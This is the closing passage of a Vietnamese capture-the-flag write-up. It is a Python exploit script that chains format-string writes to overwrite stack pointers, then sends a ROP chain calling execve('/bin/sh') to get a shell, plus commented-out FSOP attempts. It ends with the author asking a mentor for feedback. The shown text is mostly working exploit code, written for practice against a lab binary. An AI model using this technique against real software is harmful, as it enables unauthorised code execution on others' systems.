b1 = (stack_leak >> 8) & 0xff
b2 = (stack_leak >> 16) & 0xffff
b3 = (stack_leak >> 32) & 0xffffff
x = stack_leak & 0xffff
pl = f'%{x + 16}c%11$hna'.encode()
s(pl)
input(b'aaaa')
pl = f'%{a0}c%31$hhna'.encode()
s(pl)
input(b'aaaa')
pl = f'%{x + 16 + 8}c%11$hna'.encode()
s(pl)
input(b'aaaa')
pl = f'%{a1}c%31$hna'.encode()
s(pl)
input(b'aaaa')
pl = f'%{x + 43}c%11$hna'.encode()
s(pl)
input(b'aaaa')
pl = f'%{b1}c%6$hhn%{b2 - b1}c%7$hn%{b3 - b2}c%31$hna'.encode()
s(pl)
input('aaa')
pl = p64(pop_rdi) + p64(0x68732f6e69622f) + p64(pop_rax) + p64(0x3b) + p64(syscall)
s(pl)
# while True:
# pl = f'%*7$hc%{0x10000 - (312 % 0x10000) + 8}c%11$hn%7$hn'.encode()
# s(pl)
# r(timeout=1)
# pl = f'%*9$hc%31$hn%7$hn'.encode()
# s(pl)
# r(timeout=1)
# pl = p64(0x00000000fbad2887) + p64(0)*13 + p64(0x1)
# s(pl)
# s(b'aaa')
# a = ru(b'aaa', timeout = 2)
# if a and b'aaa' in a:
# s(b'bbbb')
# break
p.interactive()
```
# Tổng Kết
- Đầu tiên xin lời nhận xét từ anh **3 vàng xá lợi** về kiến thức fsop em tiếp thu được
- Sau xin lời nhận xét của anh qua các bài làm, đặc biệt là bài noPrint, và cách viết script